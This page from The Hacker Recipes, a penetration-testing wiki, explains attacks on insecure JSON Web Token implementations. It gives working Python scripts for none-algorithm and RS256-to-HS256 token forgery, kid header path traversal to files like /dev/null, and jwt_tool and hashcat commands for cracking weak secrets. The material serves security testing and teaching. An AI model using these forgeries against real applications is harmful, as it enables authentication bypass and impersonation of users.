The Hacker Recipes
GitHubTwitterExegolTools
  • Introduction
  • Active Directory
    • Reconnaissance
      • DHCP
      • DNS
      • NBT-NS
      • Responder ⚙️
      • Port scanning
      • LDAP
      • BloodHound ⚙️
      • MS-RPC
      • enum4linux ⚙️
      • Password policy
    • Movement
      • Credentials
        • Dumping
          • SAM & LSA secrets
          • DPAPI secrets
          • NTDS secrets
          • LSASS secrets
          • DCSync
          • Group Policy Preferences
          • Network shares
          • Network protocols
          • Web browsers
          • In-memory secrets
          • Kerberos key list
          • 🛠️Cached Kerberos tickets
          • 🛠️Windows Credential Manager
          • 🛠️Local files
          • 🛠️Password managers
        • Cracking
        • Bruteforcing
          • Guessing
          • Spraying
          • Stuffing
        • Shuffling
        • Impersonation
      • MITM and coerced auths
        • ARP poisoning
        • DNS spoofing
        • DHCP poisoning
        • DHCPv6 spoofing
        • WSUS spoofing
        • LLMNR, NBT-NS, mDNS spoofing
        • ADIDNS poisoning
        • WPAD spoofing
        • MS-EFSR abuse (PetitPotam)
        • MS-RPRN abuse (PrinterBug)
        • MS-FSRVP abuse (ShadowCoerce)
        • MS-DFSNM abuse (DFSCoerce)
        • PushSubscription abuse
        • WebClient abuse (WebDAV)
        • 🛠️NBT Name Overwrite
        • 🛠️ICMP Redirect
        • 🛠️Living off the land
      • NTLM
        • Capture
        • Relay
        • Pass the hash
      • Kerberos
        • Pre-auth bruteforce
        • Pass the key
        • Overpass the hash
        • Pass the ticket
        • Pass the cache
        • Forged tickets
          • Silver tickets
          • Golden tickets
          • Diamond tickets
          • Sapphire tickets
          • RODC Golden tickets
          • MS14-068
        • ASREQroast
        • ASREProast
        • Kerberoast
        • Delegations
          • (KUD) Unconstrained
          • (KCD) Constrained
          • (RBCD) Resource-based constrained
          • S4U2self abuse
          • Bronze Bit
        • Shadow Credentials
        • UnPAC the hash
        • Pass the Certificate
        • sAMAccountName spoofing
        • SPN-jacking
      • DACL abuse
        • AddMember
        • ForceChangePassword
        • Targeted Kerberoasting
        • ReadLAPSPassword
        • ReadGMSAPassword
        • Grant ownership
        • Grant rights
        • Logon script
        • Rights on RODC object
      • Group policies
      • Trusts
      • Netlogon
        • ZeroLogon
      • Certificate Services (AD-CS)
        • Certificate templates
        • Certificate authority
        • Access controls
        • Unsigned endpoints
        • Certifried
      • SCCM / MECM
        • Privilege escalation
        • Post-exploitation
      • Exchange services
        • 🛠️PrivExchange
        • 🛠️ProxyLogon
        • 🛠️ProxyShell
      • Print Spooler Service
        • PrinterBug
        • PrintNightmare
      • Schannel
        • Pass the Certificate
      • Built-ins & settings
        • Security groups
        • MachineAccountQuota
        • Pre-Windows 2000 computers
        • RODC
    • Persistence
      • DC Shadow
      • SID History
      • Skeleton key
      • GoldenGMSA
      • AdminSDHolder
      • Kerberos
        • Forged tickets
        • Delegation to KRBTGT
      • Certificate Services (AD-CS)
        • Certificate authority
        • Access controls
        • Golden certificate
      • 🛠️DACL abuse
      • Shadow Principals (PAM)
  • Web services
    • Reconnaissance
      • HTTP response headers
      • Comments and metadata
      • Error messages
      • Site crawling
      • Directory fuzzing
      • Subdomains enumeration
      • Subdomain & vhost fuzzing
      • Web Application Firewall (WAF)
      • Content Management System (CMS)
      • Other technologies
      • Known vulnerabilities
    • Configuration
      • Default credentials
      • HTTP methods
      • HTTP security headers
        • Clickjacking
        • MIME type sniffing
        • 🛠️CORS (Cross-Origin Resource Sharing)
        • 🛠️CSP (Content Security Policy)
      • HTTP request smuggling
      • HTTP response splitting
      • Insecure Cookies
      • Denial of Service (DoS)
      • Identity and Access Management
        • 🛠️OAuth 2.0
    • Accounts and sessions
      • Security policies
      • Password change
      • 🛠️Password reset
      • Account creation
      • 🛠️Account deletion
      • 🛠️Logging in
    • User inputs
      • File inclusion
        • LFI to RCE
          • logs poisoning
          • phpinfo
          • file upload
          • PHP wrappers and streams
          • PHP session
          • /proc
        • RFI to RCE
      • Unrestricted file upload
      • SQL injection
      • XSS (Cross-Site Scripting)
      • CSRF (Cross-Site Request Forgery)
      • SSRF (Server-Side Request Forgery)
      • IDOR (Insecure Direct Object Reference)
      • ORED Open redirect
      • Content-Type juggling
      • XXE injection
      • Insecure JSON Web Tokens
      • 🛠️HTTP parameter pollution
      • 🛠️SSTI (Server-Side Template Injection)
      • 🛠️Insecure deserialization
      • 🛠️CRLF injection
      • 🛠️Arbitrary file download
      • 🛠️Directory traversal
      • 🛠️Null-byte injection
  • Systems & services
    • Reconnaissance
      • 🛠️Hosts discovery
      • Port scanning
    • Initial access (protocols)
      • 🛠️FTP
      • 🛠️SSH
      • 🛠️Telnet
      • 🛠️DNS
      • 🛠️HTTP
      • 🛠️Kerberos
      • 🛠️LDAP
      • 🛠️SMB
      • 🛠️RTSP
      • 🛠️MSSQL
      • 🛠️NFS
      • 🛠️MySQL
      • 🛠️RDP
      • 🛠️WinRM
    • Initial access (phishing)
    • Privilege escalation
      • Windows
        • 🛠️Credential dumping
        • 🛠️Unquoted path
        • 🛠️Scheduled tasks
        • 🛠️Weak service permissions
        • 🛠️Vulnerable drivers
        • 🛠️Account privileges
        • 🛠️Kernel exploitation
        • 🛠️Windows Subsystem for Linux
        • 🛠️Runas saved creds
        • Unattend files
        • 🛠️Network secrets
        • 🛠️Living off the land
      • UNIX-like
        • SUDO
        • SUID/SGID binaries
        • 🛠️Capabilities
        • 🛠️Network secrets
        • 🛠️Living off the land
    • Pivoting
      • 🛠️Port forwarding
      • 🛠️SOCKS proxy
  • Evasion
    • (AV) Anti-Virus
      • 🛠️Loader
      • 🛠️Dropper
      • 🛠️Obfuscation
      • 🛠️Process injection
      • 🛠️Stealth with C2
    • 🛠️(EDR) Endpoint Detection and Response
  • 🛠️Physical
    • Locks
    • Networking
      • Network Access Control
    • Machines
      • HID injection
      • Keylogging
      • BIOS security
      • Encryption
      • Airstrike attack
    • Super secret zones
      • 🍌Banana & chocolate cake
      • 🍳Omelette du fromage
      • 🍔Burger du seigneur
      • 🥞The Pancakes of Heaven
  • 🛠️Intelligence gathering
    • CYBINT
      • Emails
      • Web infrastructure
    • OSINT
    • GEOINT
  • 🛠️RADIO
    • RFID
      • Mifare Classic
        • Default keys
        • Darkside
        • Nested
    • Bluetooth
    • Wi-Fi
      • 🛠️WEP
      • 🛠️WPA2
      • 🛠️WPS
    • Wireless keyboard/mouse
  • 🛠️mobile apps
    • Android
      • Android Debug Bridge ⚙️
      • APK transform
      • Magisk
    • iOS
      • Certificate pinning
Powered by GitBook
On this page
  • Theory
  • Practice
  • Sensitive data
  • Signature attack - None algorithm
  • Signature attack - RS256 to HS256
  • Signature attack - KID header path traversal
  • Cracking the secret
  • Recovering the public key
  • Resources

Was this helpful?

  1. Web services
  2. User inputs

Insecure JSON Web Tokens

Theory

Some web applications rely on JSON Web Tokens (JWTs) for stateless authentication and access control instead of stateful ones with traditional session cookies. Some implementations are insecure and allow attackers to bypass controls, impersonate users, or retrieve secrets.

Practice

Testers need to find if, and where, the tokens are used. A JWT is a base64 string of at least 100 characters, made of three parts (header, payload, signature) separated by dot, and usually located in Authorization headers with the Bearer keyword. See the the following example.

Authorization: Bearer eyJ0eXAiOiJKV1Q[...].eyJpc3MiOiJodHRwO[...].HAveF7AqeKj-4[...]

Once the tokens are found, testers need to assess their implementation's security by attempting some known attacks and flaws.

Sensitive data

JWTs are just base64 encoded data. They may contain sensitive unencrypted information.

Signature attack - None algorithm

Testers need to decode the token, change the algorithm to None (or none, NONE, nOnE) in the header, remove the signature, and send the modified token. Some applications are vulnerable to this attack since some support a None algorithm for signature.

This can be done in Python.

import jwt
old_token = 'eyJ0eXAiOiJKV1Q[...].eyJpc3MiOiJodHRwO[...].HAveF7AqeKj-4[...]'
old_token_payload = jwt.decode(old_token, verify=False)
new_token = jwt.encode(old_token_payload, key='', algorithm=None)
print(new_token)

If the token is accepted by the web app, it means the payload can be altered.

import jwt
payload = {'key1':'value1', 'key2':'value2'}
token = jwt.encode(payload, key='', algorithm=None)
print(token)

Signature attack - RS256 to HS256

If the algorithm used to sign the payload is RS256, testers can try to use HS256 instead. Instead of signing the JWT payload with a private key, using HS256 will make the web app sign it with a public key that can sometimes be easily obtained.

Some applications re-use their TLS certificate for JWT operations. The TLS certificate's public key used by a server can be obtained with the following command.

echo | openssl s_client -connect $TARGET:443 | openssl x509 -pubkey -noout > pubkey.pem

The following Python code can be used to identify if the web application is vulnerable to this attack.

import jwt
old_token = 'eyJ0eXAiOiJKV1Q[...].eyJpc3MiOiJodHRwO[...].HAveF7AqeKj-4[...]'
old_token_payload = jwt.decode(old_token, verify=False)
public_key = open('pubkey.pem', 'r').read()
new_token = jwt.encode(old_token_payload, key=public_key, algorithm='HS256')
print(new_token)

If the token is accepted by the web app, it means the payload can be altered.

The jwt library imported in the following Python code raises an exception when attempting to use an asymmetric key or x509 certificate as an HMAC secret. Testers need to install version 0.4.3 pip/pip3 install pyjwt==0.4.3.

import jwt
public_key = open('pubkey.pem', 'r').read()
payload = {'key1':'value1', 'key2':'value2'}
token = jwt.encode(payload, key=public_key, algorithm='HS256')
print(token)

Signature attack - KID header path traversal

The structure of this ID is not specified and it can be any string value (case-sensitive).

There are a bunch of files in /sys that are basically flags. Like the flag that says if ftrace is enabled is either 0 or 1. So the attacker just creates 2 tokens with that as the key and one of them will work!

The example mentioned above is located at /proc/sys/kernel/ftrace_enabled

In some cases, using the trick above will not work, as the file is listed with a size of 0, and some apps could check that the signature file is not empty.

>>> import os
>>> os.path.getsize("/proc/sys/kernel/ftrace_enabled")
0

Alternatively, other file could be used:

  • some have a content that rarely changes (e.g. old configuration files like/etc/host.conf, /etc/xattr.conf, ...)

  • some have a predictable content (e.g. /etc/hostname, JS files in /var/www/html, ...)

  • some return an empty string (e.g. /dev/null) effectively allowing to bypass the signature validation, meaning an empty key could be used for signature.

import jwt, os
payload = {'key1':'value1', 'key2':'value2'}
with open("path/to/file", 'r') as file:
    data = file.read()
token = jwt.encode(payload, key=data, algorithm='HS256', headers={"kid": "../../../path/to/file"})
print(token)

If Burp is used to craft the JWT token, a symmetric key with value of the k property in the JWT equal to AA== (base64 value of null byte) must be created.

Cracking the secret

When JWT uses HMAC-SHA256/384/512 algorithms to sign the payload, testers can try to find the secret if weak enough.

# crack the secret using dictionnary attack
jwt_tool.py -v -C -d $wordlist_file "$JWT_value"

# use the secret to tapmer (-T option) the token
# running this command will show up a menu to choose the value to tamper
# the result token will be signed with the submited secret using the specified singing algorithm "alg" (hs256/hs384/hs512 = HMAC-SHA signing).
jwt_tool.py -v -S $alg -p "$secret" -T "$JWT_value"
hashcat --hash-type 16500 --attack-mode 0 $JWTs_file $wordlist_file

Recovering the public key

In certain scenarios, public keys can be recovered when knowing one (for algos ES256, ES384, ES512) or two (for algos RS256, RS384, RS512) tokens.

Resources

PreviousXXE injectionNextHTTP parameter pollution

Last updated 1 year ago

Was this helpful?

The (Key ID) is an optional parameter specified in the JWT header part to indicate the key used for signature validation in case there are multiple ones.

The last part is interesting because, if the parameter is vulnerable to , this would allow to perform path traversal and point to a file path/file with content we can guess or known somehow, and use its content as the value of the signing key.

"" PortSwigger lab provides more insight on this technique.

(By on )

The same secret value is to be used on .

(Python3) can be used for this purpose.

JWT secrets can also be cracked using hashcat (see the page for more detailed info on how to use it).

This can be achieved with the following Python script :

kid
directory traversal
JWT authentication bypass via kid header path traversal
Intigriti
Twitter
jwt.io
JWT tool
AD credential cracking
JWT-Key-Recover
Attacking JWT authenticationSjoerd Langkemper
Logo
Critical vulnerabilities in JSON Web Token librariesAuth0 - Blog
https://blog.imaginea.com/stateless-authentication-using-jwt-2/blog.imaginea.com
PayloadsAllTheThings/JSON Web Token at master · swisskyrepo/PayloadsAllTheThingsGitHub
JWT.IO
JWT attacks | Web Security AcademyWebSecAcademy
Logo
Deep dive into JWT attacksMedium
Logo
Logo
Logo
Logo